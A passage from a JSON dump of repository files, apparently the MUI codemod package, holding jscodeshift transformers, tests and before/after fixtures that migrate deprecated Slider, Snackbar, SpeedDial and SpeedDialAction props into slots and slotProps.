    "content": "fn({\n  MuiSlider: {\n    defaultProps: {\n      components: { Track: ComponentsTrack },\n      componentsProps: { track: componentsTrackProps },\n    },\n  },\n});\n\nfn({\n  MuiSlider: {\n    defaultProps: {\n      components: { Track: ComponentsTrack },\n      slots: { rail: SlotsRail },\n      componentsProps: { track: componentsTrackProps },\n      slotProps: { rail: slotsRailProps },\n    },\n  },\n});\n\nfn({\n  MuiSlider: {\n    defaultProps: {\n      components: { Track: ComponentsTrack },\n      slots: { rail: SlotsRail, track: SlotsTrack },\n      componentsProps: { track: componentsTrackProps },\n      slotProps: { rail: slotsRailProps, track: slotsTrackProps },\n    },\n  },\n});\n\nfn({\n  MuiSlider: {\n    defaultProps: {\n      components: { Track: ComponentsTrack },\n      slots: { rail: SlotsRail, track: SlotsTrack },\n      componentsProps: { track: componentsTrackProps, rail: componentsRailProps },\n      slotProps: { rail: slotsRailProps, track: slotsTrackProps },\n    },\n  },\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/slider-props/test-cases/theme.expected.js",
    "content": "fn({\n  MuiSlider: {\n    defaultProps: {\n      slots: {\n        track: ComponentsTrack\n      },\n\n      slotProps: {\n        track: componentsTrackProps\n      }\n    },\n  },\n});\n\nfn({\n  MuiSlider: {\n    defaultProps: {\n      slots: {\n        track: ComponentsTrack,\n        rail: SlotsRail\n      },\n\n      slotProps: {\n        track: componentsTrackProps,\n        rail: slotsRailProps\n      }\n    },\n  },\n});\n\nfn({\n  MuiSlider: {\n    defaultProps: {\n      slots: {\n        track: SlotsTrack,\n        rail: SlotsRail\n      },\n\n      slotProps: {\n        track: {\n          ...componentsTrackProps,\n          ...slotsTrackProps\n        },\n\n        rail: slotsRailProps\n      }\n    },\n  },\n});\n\nfn({\n  MuiSlider: {\n    defaultProps: {\n      slots: {\n        track: SlotsTrack,\n        rail: SlotsRail\n      },\n\n      slotProps: {\n        track: {\n          ...componentsTrackProps,\n          ...slotsTrackProps\n        },\n\n        rail: {\n          ...componentsRailProps,\n          ...slotsRailProps\n        }\n      }\n    },\n  },\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/snackbar-props/index.js",
    "content": "export { default } from './snackbar-props';\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/snackbar-props/snackbar-props.js",
    "content": "import movePropIntoSlots from '../utils/movePropIntoSlots';\nimport movePropIntoSlotProps from '../utils/movePropIntoSlotProps';\n\n/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function transformer(file, api, options) {\n  const j = api.jscodeshift;\n  const root = j(file.source);\n  const printOptions = options.printOptions;\n\n  movePropIntoSlots(j, {\n    root,\n    packageName: options.packageName,\n    componentName: 'Snackbar',\n    propName: 'TransitionComponent',\n    slotName: 'transition',\n  });\n\n  movePropIntoSlotProps(j, {\n    root,\n    packageName: options.packageName,\n    componentName: 'Snackbar',\n    propName: 'TransitionProps',\n    slotName: 'transition',\n  });\n\n  movePropIntoSlotProps(j, {\n    root,\n    packageName: options.packageName,\n    componentName: 'Snackbar',\n    propName: 'ContentProps',\n    slotName: 'content',\n  });\n\n  movePropIntoSlotProps(j, {\n    root,\n    packageName: options.packageName,\n    componentName: 'Snackbar',\n    propName: 'ClickAwayListenerProps',\n    slotName: 'clickAwayListener',\n  });\n\n  return root.toSource(printOptions);\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/snackbar-props/snackbar-props.test.js",
    "content": "import { describeJscodeshiftTransform } from '../../../testUtils';\nimport transform from './snackbar-props';\n\ndescribe('@mui/codemod', () => {\n  describe('deprecations', () => {\n    describeJscodeshiftTransform({\n      transform,\n      transformName: 'snackbar-props',\n      dirname: __dirname,\n      testCases: [\n        { actual: '/test-cases/actual.js', expected: '/test-cases/expected.js' },\n        { actual: '/test-cases/theme.actual.js', expected: '/test-cases/theme.expected.js' },\n        {\n          actual: '/test-cases/package.actual.js',\n          expected: '/test-cases/package.expected.js',\n          options: { packageName: '@org/ui/material' },\n        },\n      ],\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/snackbar-props/test-cases/actual.js",
    "content": "import Snackbar from '@mui/material/Snackbar';\nimport { Snackbar as MySnackbar } from '@mui/material';\n\n<Snackbar\n  ClickAwayListenerProps={CustomListenerProps}\n  ContentProps={CustomContentProps}\n  TransitionComponent={CustomTransition}\n  TransitionProps={CustomTransitionProps}\n/>;\n<MySnackbar\n  ClickAwayListenerProps={CustomListenerProps}\n  ContentProps={CustomContentProps}\n  TransitionComponent={CustomTransition}\n  TransitionProps={CustomTransitionProps}\n/>;\n<Snackbar\n  ClickAwayListenerProps={CustomListenerProps}\n  ContentProps={CustomContentProps}\n  TransitionComponent={CustomTransition}\n  TransitionProps={CustomTransitionProps}\n  slots={{\n    root: 'div',\n  }}\n/>;\n<MySnackbar\n  ClickAwayListenerProps={CustomListenerProps}\n  ContentProps={CustomContentProps}\n  TransitionComponent={CustomTransition}\n  TransitionProps={CustomTransitionProps}\n  slots={{\n    ...outerSlots,\n  }}\n/>;\n<Snackbar\n  ClickAwayListenerProps={CustomListenerProps}\n  ContentProps={CustomContentProps}\n  TransitionComponent={ComponentTransition}\n  TransitionProps={CustomTransitionProps}\n  slots={{\n    root: 'div',\n    transition: SlotTransition,\n  }}\n/>;\n\n// should skip non MUI components\n<NonMuiSnackbar\n  ClickAwayListenerProps={CustomListenerProps}\n  ContentProps={CustomContentProps}\n  TransitionComponent={CustomTransition}\n  TransitionProps={CustomTransitionProps}\n/>;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/snackbar-props/test-cases/expected.js",
    "content": "import Snackbar from '@mui/material/Snackbar';\nimport { Snackbar as MySnackbar } from '@mui/material';\n\n<Snackbar\n  slots={{\n    transition: CustomTransition\n  }}\n  slotProps={{\n    transition: CustomTransitionProps,\n    content: CustomContentProps,\n    clickAwayListener: CustomListenerProps\n  }} />;\n<MySnackbar\n  slots={{\n    transition: CustomTransition\n  }}\n  slotProps={{\n    transition: CustomTransitionProps,\n    content: CustomContentProps,\n    clickAwayListener: CustomListenerProps\n  }} />;\n<Snackbar\n  slots={{\n    root: 'div',\n    transition: CustomTransition\n  }}\n  slotProps={{\n    transition: CustomTransitionProps,\n    content: CustomContentProps,\n    clickAwayListener: CustomListenerProps\n  }} />;\n<MySnackbar\n  slots={{\n    ...outerSlots,\n    transition: CustomTransition\n  }}\n  slotProps={{\n    transition: CustomTransitionProps,\n    content: CustomContentProps,\n    clickAwayListener: CustomListenerProps\n  }} />;\n<Snackbar\n  slots={{\n    root: 'div',\n    transition: SlotTransition,\n  }}\n  slotProps={{\n    transition: CustomTransitionProps,\n    content: CustomContentProps,\n    clickAwayListener: CustomListenerProps\n  }} />;\n\n// should skip non MUI components\n<NonMuiSnackbar\n  ClickAwayListenerProps={CustomListenerProps}\n  ContentProps={CustomContentProps}\n  TransitionComponent={CustomTransition}\n  TransitionProps={CustomTransitionProps}\n/>;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/snackbar-props/test-cases/package.actual.js",
    "content": "import Snackbar from '@org/ui/material/Snackbar';\nimport { Snackbar as MySnackbar } from '@org/ui/material';\n\n<Snackbar\n  ClickAwayListenerProps={CustomListenerProps}\n  ContentProps={CustomContentProps}\n  TransitionComponent={CustomTransition}\n  TransitionProps={CustomTransitionProps}\n/>;\n<MySnackbar\n  ClickAwayListenerProps={CustomListenerProps}\n  ContentProps={CustomContentProps}\n  TransitionComponent={CustomTransition}\n  TransitionProps={CustomTransitionProps}\n/>;\n<Snackbar\n  ClickAwayListenerProps={CustomListenerProps}\n  ContentProps={CustomContentProps}\n  TransitionComponent={CustomTransition}\n  TransitionProps={CustomTransitionProps}\n  slots={{\n    root: 'div',\n  }}\n/>;\n<MySnackbar\n  ClickAwayListenerProps={CustomListenerProps}\n  ContentProps={CustomContentProps}\n  TransitionComponent={CustomTransition}\n  TransitionProps={CustomTransitionProps}\n  slots={{\n    ...outerSlots,\n  }}\n/>;\n<Snackbar\n  ClickAwayListenerProps={CustomListenerProps}\n  ContentProps={CustomContentProps}\n  TransitionComponent={ComponentTransition}\n  TransitionProps={CustomTransitionProps}\n  slots={{\n    root: 'div',\n    transition: SlotTransition,\n  }}\n/>;\n\n// should skip non MUI components\n<NonMuiSnackbar\n  ClickAwayListenerProps={CustomListenerProps}\n  ContentProps={CustomContentProps}\n  TransitionComponent={CustomTransition}\n  TransitionProps={CustomTransitionProps}\n/>;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/snackbar-props/test-cases/package.expected.js",
    "content": "import Snackbar from '@org/ui/material/Snackbar';\nimport { Snackbar as MySnackbar } from '@org/ui/material';\n\n<Snackbar\n  slots={{\n    transition: CustomTransition\n  }}\n  slotProps={{\n    transition: CustomTransitionProps,\n    content: CustomContentProps,\n    clickAwayListener: CustomListenerProps\n  }} />;\n<MySnackbar\n  slots={{\n    transition: CustomTransition\n  }}\n  slotProps={{\n    transition: CustomTransitionProps,\n    content: CustomContentProps,\n    clickAwayListener: CustomListenerProps\n  }} />;\n<Snackbar\n  slots={{\n    root: 'div',\n    transition: CustomTransition\n  }}\n  slotProps={{\n    transition: CustomTransitionProps,\n    content: CustomContentProps,\n    clickAwayListener: CustomListenerProps\n  }} />;\n<MySnackbar\n  slots={{\n    ...outerSlots,\n    transition: CustomTransition\n  }}\n  slotProps={{\n    transition: CustomTransitionProps,\n    content: CustomContentProps,\n    clickAwayListener: CustomListenerProps\n  }} />;\n<Snackbar\n  slots={{\n    root: 'div',\n    transition: SlotTransition,\n  }}\n  slotProps={{\n    transition: CustomTransitionProps,\n    content: CustomContentProps,\n    clickAwayListener: CustomListenerProps\n  }} />;\n\n// should skip non MUI components\n<NonMuiSnackbar\n  ClickAwayListenerProps={CustomListenerProps}\n  ContentProps={CustomContentProps}\n  TransitionComponent={CustomTransition}\n  TransitionProps={CustomTransitionProps}\n/>;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/snackbar-props/test-cases/theme.actual.js",
    "content": "fn({\n  MuiSnackbar: {\n    defaultProps: {\n      ClickAwayListenerProps: CustomListenerProps,\n      ContentProps: CustomContentProps,\n      TransitionComponent: CustomTransition,\n      TransitionProps: CustomTransitionProps,\n    },\n  },\n});\n\nfn({\n  MuiSnackbar: {\n    defaultProps: {\n      ClickAwayListenerProps: CustomListenerProps,\n      ContentProps: CustomContentProps,\n      TransitionComponent: CustomTransition,\n      TransitionProps: CustomTransitionProps,\n      slots: {\n        root: 'div',\n      },\n    },\n  },\n});\n\nfn({\n  MuiSnackbar: {\n    defaultProps: {\n      ClickAwayListenerProps: CustomListenerProps,\n      ContentProps: CustomContentProps,\n      TransitionComponent: ComponentTransition,\n      TransitionProps: CustomTransitionProps,\n      slots: {\n        root: 'div',\n        transition: SlotTransition,\n      },\n    },\n  },\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/snackbar-props/test-cases/theme.expected.js",
    "content": "fn({\n  MuiSnackbar: {\n    defaultProps: {\n      slots: {\n        transition: CustomTransition\n      },\n\n      slotProps: {\n        transition: CustomTransitionProps,\n        content: CustomContentProps,\n        clickAwayListener: CustomListenerProps\n      }\n    },\n  },\n});\n\nfn({\n  MuiSnackbar: {\n    defaultProps: {\n      slots: {\n        root: 'div',\n        transition: CustomTransition\n      },\n\n      slotProps: {\n        transition: CustomTransitionProps,\n        content: CustomContentProps,\n        clickAwayListener: CustomListenerProps\n      }\n    },\n  },\n});\n\nfn({\n  MuiSnackbar: {\n    defaultProps: {\n      slots: {\n        root: 'div',\n        transition: SlotTransition,\n      },\n\n      slotProps: {\n        transition: CustomTransitionProps,\n        content: CustomContentProps,\n        clickAwayListener: CustomListenerProps\n      }\n    },\n  },\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/speed-dial-action-props/index.js",
    "content": "export { default } from './speed-dial-action-props';\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/speed-dial-action-props/speed-dial-action-props.js",
    "content": "import movePropIntoSlotProps from '../utils/movePropIntoSlotProps';\n\n/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function transformer(file, api, options) {\n  const j = api.jscodeshift;\n  const root = j(file.source);\n  const printOptions = options.printOptions;\n\n  movePropIntoSlotProps(j, {\n    root,\n    packageName: options.packageName,\n    componentName: 'SpeedDialAction',\n    propName: 'tooltipTitle',\n    slotName: 'tooltip',\n    slotPropName: 'title',\n  });\n\n  movePropIntoSlotProps(j, {\n    root,\n    packageName: options.packageName,\n    componentName: 'SpeedDialAction',\n    propName: 'tooltipPlacement',\n    slotName: 'tooltip',\n    slotPropName: 'placement',\n  });\n\n  movePropIntoSlotProps(j, {\n    root,\n    packageName: options.packageName,\n    componentName: 'SpeedDialAction',\n    propName: 'tooltipOpen',\n    slotName: 'tooltip',\n    slotPropName: 'open',\n  });\n\n  movePropIntoSlotProps(j, {\n    root,\n    packageName: options.packageName,\n    componentName: 'SpeedDialAction',\n    propName: 'TooltipClasses',\n    slotName: 'tooltip',\n    slotPropName: 'classes',\n  });\n\n  movePropIntoSlotProps(j, {\n    root,\n    packageName: options.packageName,\n    componentName: 'SpeedDialAction',\n    propName: 'FabProps',\n    slotName: 'fab',\n  });\n\n  return root.toSource(printOptions);\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/speed-dial-action-props/speed-dial-action-props.test.js",
    "content": "import { describeJscodeshiftTransform } from '../../../testUtils';\nimport transform from './speed-dial-action-props';\n\ndescribe('@mui/codemod', () => {\n  describe('deprecations', () => {\n    describeJscodeshiftTransform({\n      transform,\n      transformName: 'speed-dial-action-props',\n      dirname: __dirname,\n      testCases: [\n        { actual: '/test-cases/actual.js', expected: '/test-cases/expected.js' },\n        { actual: '/test-cases/theme.actual.js', expected: '/test-cases/theme.expected.js' },\n        {\n          actual: '/test-cases/package.actual.js',\n          expected: '/test-cases/package.expected.js',\n          options: { packageName: '@org/ui/material' },\n        },\n      ],\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/speed-dial-action-props/test-cases/actual.js",
    "content": "import SpeedDialAction from '@mui/material/SpeedDialAction';\nimport { SpeedDialAction as MySpeedDialAction } from '@mui/material';\n\n<SpeedDialAction tooltipTitle=\"test\" />;\n<SpeedDialAction tooltipOpen={true} />;\n<SpeedDialAction tooltipPlacement=\"test\" />;\n<SpeedDialAction TooltipClasses={TooltipClasses} />;\n<SpeedDialAction FabProps={FabProps} />;\n<SpeedDialAction\n  TooltipClasses={TooltipClasses}\n  tooltipOpen={true}\n  tooltipPlacement=\"top\"\n  tooltipTitle=\"test\"\n/>;\n<SpeedDialAction\n  TooltipClasses={TooltipClasses}\n  tooltipOpen={true}\n  tooltipPlacement=\"top\"\n  tooltipTitle=\"test\"\n  FabProps={FabProps}\n/>;\n<MySpeedDialAction tooltipTitle=\"test\" />;\n<MySpeedDialAction tooltipOpen={true} />;\n<MySpeedDialAction tooltipPlacement=\"test\" />;\n<MySpeedDialAction TooltipClasses={TooltipClasses} />;\n<MySpeedDialAction FabProps={FabProps} />;\n<MySpeedDialAction\n  TooltipClasses={TooltipClasses}\n  tooltipOpen={true}\n  tooltipPlacement=\"top\"\n  tooltipTitle=\"test\"\n  FabProps={FabProps}\n/>;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/speed-dial-action-props/test-cases/expected.js",
    "content": "import SpeedDialAction from '@mui/material/SpeedDialAction';\nimport { SpeedDialAction as MySpeedDialAction } from '@mui/material';\n\n<SpeedDialAction slotProps={{\n  tooltip: {\n    title: \"test\"\n  }\n}} />;\n<SpeedDialAction slotProps={{\n  tooltip: {\n    open: true\n  }\n}} />;\n<SpeedDialAction slotProps={{\n  tooltip: {\n    placement: \"test\"\n  }\n}} />;\n<SpeedDialAction slotProps={{\n  tooltip: {\n    classes: TooltipClasses\n  }\n}} />;\n<SpeedDialAction slotProps={{\n  fab: FabProps\n}} />;\n<SpeedDialAction\n  slotProps={{\n    tooltip: {\n      title: \"test\",\n      placement: \"top\",\n      open: true,\n      classes: TooltipClasses\n    }\n  }} />;\n<SpeedDialAction\n  slotProps={{\n    tooltip: {\n      title: \"test\",\n      placement: \"top\",\n      open: true,\n      classes: TooltipClasses\n    },\n\n    fab: FabProps\n  }} />;\n<MySpeedDialAction slotProps={{\n  tooltip: {\n    title: \"test\"\n  }\n}} />;\n<MySpeedDialAction slotProps={{\n  tooltip: {\n    open: true\n  }\n}} />;\n<MySpeedDialAction slotProps={{\n  tooltip: {\n    placement: \"test\"\n  }\n}} />;\n<MySpeedDialAction slotProps={{\n  tooltip: {\n    classes: TooltipClasses\n  }\n}} />;\n<MySpeedDialAction slotProps={{\n  fab: FabProps\n}} />;\n<MySpeedDialAction\n  slotProps={{\n    tooltip: {\n      title: \"test\",\n      placement: \"top\",\n      open: true,\n      classes: TooltipClasses\n    },\n\n    fab: FabProps\n  }} />;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/speed-dial-action-props/test-cases/package.actual.js",
    "content": "import SpeedDialAction from '@org/ui/material/SpeedDialAction';\nimport { SpeedDialAction as MySpeedDialAction } from '@org/ui/material';\n\n<SpeedDialAction tooltipTitle=\"test\" />;\n<SpeedDialAction tooltipOpen={true} />;\n<SpeedDialAction tooltipPlacement=\"test\" />;\n<SpeedDialAction TooltipClasses={TooltipClasses} />;\n<SpeedDialAction FabProps={FabProps} />;\n<SpeedDialAction\n  TooltipClasses={TooltipClasses}\n  tooltipOpen={true}\n  tooltipPlacement=\"top\"\n  tooltipTitle=\"test\"\n/>;\n<SpeedDialAction\n  TooltipClasses={TooltipClasses}\n  tooltipOpen={true}\n  tooltipPlacement=\"top\"\n  tooltipTitle=\"test\"\n  FabProps={FabProps}\n/>;\n<MySpeedDialAction tooltipTitle=\"test\" />;\n<MySpeedDialAction tooltipOpen={true} />;\n<MySpeedDialAction tooltipPlacement=\"test\" />;\n<MySpeedDialAction TooltipClasses={TooltipClasses} />;\n<MySpeedDialAction FabProps={FabProps} />;\n<MySpeedDialAction\n  TooltipClasses={TooltipClasses}\n  tooltipOpen={true}\n  tooltipPlacement=\"top\"\n  tooltipTitle=\"test\"\n  FabProps={FabProps}\n/>;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/speed-dial-action-props/test-cases/package.expected.js",
    "content": "import SpeedDialAction from '@org/ui/material/SpeedDialAction';\nimport { SpeedDialAction as MySpeedDialAction } from '@org/ui/material';\n\n<SpeedDialAction slotProps={{\n  tooltip: {\n    title: \"test\"\n  }\n}} />;\n<SpeedDialAction slotProps={{\n  tooltip: {\n    open: true\n  }\n}} />;\n<SpeedDialAction slotProps={{\n  tooltip: {\n    placement: \"test\"\n  }\n}} />;\n<SpeedDialAction slotProps={{\n  tooltip: {\n    classes: TooltipClasses\n  }\n}} />;\n<SpeedDialAction slotProps={{\n  fab: FabProps\n}} />;\n<SpeedDialAction\n  slotProps={{\n    tooltip: {\n      title: \"test\",\n      placement: \"top\",\n      open: true,\n      classes: TooltipClasses\n    }\n  }} />;\n<SpeedDialAction\n  slotProps={{\n    tooltip: {\n      title: \"test\",\n      placement: \"top\",\n      open: true,\n      classes: TooltipClasses\n    },\n\n    fab: FabProps\n  }} />;\n<MySpeedDialAction slotProps={{\n  tooltip: {\n    title: \"test\"\n  }\n}} />;\n<MySpeedDialAction slotProps={{\n  tooltip: {\n    open: true\n  }\n}} />;\n<MySpeedDialAction slotProps={{\n  tooltip: {\n    placement: \"test\"\n  }\n}} />;\n<MySpeedDialAction slotProps={{\n  tooltip: {\n    classes: TooltipClasses\n  }\n}} />;\n<MySpeedDialAction slotProps={{\n  fab: FabProps\n}} />;\n<MySpeedDialAction\n  slotProps={{\n    tooltip: {\n      title: \"test\",\n      placement: \"top\",\n      open: true,\n      classes: TooltipClasses\n    },\n\n    fab: FabProps\n  }} />;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/speed-dial-action-props/test-cases/theme.actual.js",
    "content": "fn({\n  MuiSpeedDialAction: {\n    defaultProps: {\n      FabProps: {\n        id: 'test',\n      },\n    },\n  },\n});\n\nfn({\n  MuiSpeedDialAction: {\n    defaultProps: {\n      TooltipClasses: classes,\n    },\n  },\n});\n\nfn({\n  MuiSpeedDialAction: {\n    defaultProps: {\n      tooltipOpen: true,\n    },\n  },\n});\n\nfn({\n  MuiSpeedDialAction: {\n    defaultProps: {\n      tooltipPlacement: 'top',\n    },\n  },\n});\n\nfn({\n  MuiSpeedDialAction: {\n    defaultProps: {\n      tooltipTitle: 'test',\n    },\n  },\n});\n\nfn({\n  MuiSpeedDialAction: {\n    defaultProps: {\n      FabProps: {\n        id: 'test',\n      },\n      TooltipClasses: classes,\n      tooltipOpen: true,\n      tooltipPlacement: 'top',\n      tooltipTitle: 'test',\n    },\n  },\n});\n\nfn({\n  MuiSpeedDialAction: {\n    defaultProps: {\n      TooltipClasses: classes,\n      tooltipOpen: true,\n      tooltipPlacement: 'top',\n      tooltipTitle: 'test',\n    },\n  },\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/speed-dial-action-props/test-cases/theme.expected.js",
    "content": "fn({\n  MuiSpeedDialAction: {\n    defaultProps: {\n      slotProps: {\n        fab: {\n          id: 'test',\n        }\n      },\n    },\n  },\n});\n\nfn({\n  MuiSpeedDialAction: {\n    defaultProps: {\n      slotProps: {\n        tooltip: {\n          classes: classes\n        }\n      },\n    },\n  },\n});\n\nfn({\n  MuiSpeedDialAction: {\n    defaultProps: {\n      slotProps: {\n        tooltip: {\n          open: true\n        }\n      },\n    },\n  },\n});\n\nfn({\n  MuiSpeedDialAction: {\n    defaultProps: {\n      slotProps: {\n        tooltip: {\n          placement: 'top'\n        }\n      },\n    },\n  },\n});\n\nfn({\n  MuiSpeedDialAction: {\n    defaultProps: {\n      slotProps: {\n        tooltip: {\n          title: 'test'\n        }\n      },\n    },\n  },\n});\n\nfn({\n  MuiSpeedDialAction: {\n    defaultProps: {\n      slotProps: {\n        tooltip: {\n          title: 'test',\n          placement: 'top',\n          open: true,\n          classes: classes\n        },\n\n        fab: {\n          id: 'test',\n        }\n      }\n    },\n  },\n});\n\nfn({\n  MuiSpeedDialAction: {\n    defaultProps: {\n      slotProps: {\n        tooltip: {\n          title: 'test',\n          placement: 'top',\n          open: true,\n          classes: classes\n        }\n      }\n    },\n  },\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/speed-dial-props/index.js",
    "content": "export { default } from './speed-dial-props';\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/speed-dial-props/speed-dial-props.js",
    "content": "import movePropIntoSlots from '../utils/movePropIntoSlots';\nimport movePropIntoSlotProps from '../utils/movePropIntoSlotProps';\n\n/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function transformer(file, api, options) {\n  const j = api.jscodeshift;\n  const root = j(file.source);\n  const printOptions = options.printOptions;\n\n  movePropIntoSlots(j, {\n    root,\n    packageName: options.packageName,\n    componentName: 'SpeedDial',\n    propName: 'TransitionComponent',\n    slotName: 'transition',\n  });\n\n  movePropIntoSlotProps(j, {\n    root,\n    packageName: options.packageName,\n    componentName: 'SpeedDial',\n    propName: 'TransitionProps',\n    slotName: 'transition',\n  });\n\n  return root.toSource(printOptions);\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/speed-dial-props/speed-dial-props.test.js",
    "content": "import path from 'path';\nimport { expect } from 'chai';\nimport { jscodeshift } from '../../../testUtils';\nimport transform from './speed-dial-props';\nimport readFile from '../../util/readFile';\n\nfunction read(fileName) {\n  return readFile(path.join(__dirname, fileName));\n}\n\ndescribe('@mui/codemod', () => {\n  describe('deprecations', () => {\n    describe('speed-dial-props', () => {\n      it('transforms props as needed', () => {\n        const actual = transform({ source: read('./test-cases/actual.js') }, { jscodeshift }, {});\n\n        const expected = read('./test-cases/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform({ source: read('./test-cases/expected.js') }, { jscodeshift }, {});\n\n        const expected = read('./test-cases/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n\n    describe('[theme] speed-dial-props', () => {\n      it('transforms props as needed', () => {\n        const actual = transform(\n          { source: read('./test-cases/theme.actual.js') },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./test-cases/theme.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform(\n          { source: read('./test-cases/theme.expected.js') },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./test-cases/theme.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n\n    describe('[package] speed-dial-props', () => {\n      it('transforms props as needed', () => {\n        const actual = transform(\n          { source: read('./test-cases/package.actual.js') },\n          { jscodeshift },\n          { packageName: '@org/ui/material' },\n        );\n\n        const expected = read('./test-cases/package.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform(\n          { source: read('./test-cases/package.expected.js') },\n          { jscodeshift },\n          { packageName: '@org/ui/material' },\n        );\n\n        const expected = read('./test-cases/package.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/speed-dial-props/test-cases/actual.js",
    "content": "import SpeedDial from '@mui/material/SpeedDial';\nimport { SpeedDial as MySpeedDial } from '@mui/material';\n\n<SpeedDial TransitionComponent={CustomTransition} TransitionProps={CustomTransitionProps} />;\n<MySpeedDial TransitionComponent={CustomTransition} TransitionProps={CustomTransitionProps} />;\n<SpeedDial\n  TransitionComponent={CustomTransition}\n  TransitionProps={CustomTransitionProps}\n  slots={{\n    root: 'div',\n  }}\n/>;\n<MySpeedDial\n  TransitionComponent={CustomTransition}\n  TransitionProps={CustomTransitionProps}\n  slots={{\n    ...outerSlots,\n  }}\n/>;\n<SpeedDial\n  TransitionComponent={ComponentTransition}\n  TransitionProps={CustomTransitionProps}\n  slots={{\n    root: 'div',\n    transition: SlotTransition,\n  }}\n/>;\n// should skip non MUI components\n<NonMuiSpeedDial TransitionComponent={CustomTransition} TransitionProps={CustomTransitionProps} />;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/speed-dial-props/test-cases/expected.js",
    "content": "import SpeedDial from '@mui/material/SpeedDial';\nimport { SpeedDial as MySpeedDial } from '@mui/material';\n\n<SpeedDial slots={{\n  transition: CustomTransition\n}} slotProps={{\n  transition: CustomTransitionProps\n}} />;\n<MySpeedDial slots={{\n  transition: CustomTransition\n}} slotProps={{\n  transition: CustomTransitionProps\n}} />;\n<SpeedDial\n  slots={{\n    root: 'div',\n    transition: CustomTransition\n  }}\n  slotProps={{\n    transition: CustomTransitionProps\n  }} />;\n<MySpeedDial\n  slots={{\n    ...outerSlots,\n    transition: CustomTransition\n  }}\n  slotProps={{\n    transition: CustomTransitionProps\n  }} />;\n<SpeedDial\n  slots={{\n    root: 'div',\n    transition: SlotTransition,\n  }}\n  slotProps={{\n    transition: CustomTransitionProps\n  }} />;\n// should skip non MUI components\n<NonMuiSpeedDial TransitionComponent={CustomTransition} TransitionProps={CustomTransitionProps} />;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/speed-dial-props/test-cases/package.actual.js",
    "content": "import SpeedDial from '@org/ui/material/SpeedDial';\nimport { SpeedDial as MySpeedDial } from '@org/ui/material';\n\n<SpeedDial TransitionComponent={CustomTransition} TransitionProps={CustomTransitionProps} />;\n<MySpeedDial TransitionComponent={CustomTransition} TransitionProps={CustomTransitionProps} />;\n<SpeedDial\n  TransitionComponent={CustomTransition}\n  TransitionProps={CustomTransitionProps}\n  slots={{\n    root: 'div',\n  }}\n/>;\n<MySpeedDial\n  TransitionComponent={CustomTransition}\n  TransitionProps={CustomTransitionProps}\n  slots={{\n    ...outerSlots,\n  }}\n/>;\n<SpeedDial\n  TransitionComponent={ComponentTransition}\n  TransitionProps={CustomTransitionProps}\n  slots={{\n    root: 'div',\n    transition: SlotTransition,\n  }}\n/>;\n// should skip non MUI components\n<NonMuiSpeedDial TransitionComponent={CustomTransition} TransitionProps={CustomTransitionProps} />;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/speed-dial-props/test-cases/package.expected.js",
    "content": "import SpeedDial from '@org/ui/material/SpeedDial';\nimport { SpeedDial as MySpeedDial } from '@org/ui/material';\n\n<SpeedDial slots={{\n  transition: CustomTransition\n}} slotProps={{\n  transition: CustomTransitionProps\n}} />;\n<MySpeedDial slots={{\n  transition: CustomTransition\n}} slotProps={{\n  transition: CustomTransitionProps\n}} />;\n<SpeedDial\n  slots={{\n    root: 'div',\n    transition: CustomTransition\n  }}\n  slotProps={{\n    transition: CustomTransitionProps\n  }} />;\n<MySpeedDial\n  slots={{\n    ...outerSlots,\n    transition: CustomTransition\n  }}\n  slotProps={{\n    transition: CustomTransitionProps\n  }} />;\n<SpeedDial\n  slots={{\n    root: 'div',\n    transition: SlotTransition,\n  }}\n  slotProps={{\n    transition: CustomTransitionProps\n  }} />;\n// should skip non MUI components\n<NonMuiSpeedDial TransitionComponent={CustomTransition} TransitionProps={CustomTransitionProps} />;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/speed-dial-props/test-cases/theme.actual.js",
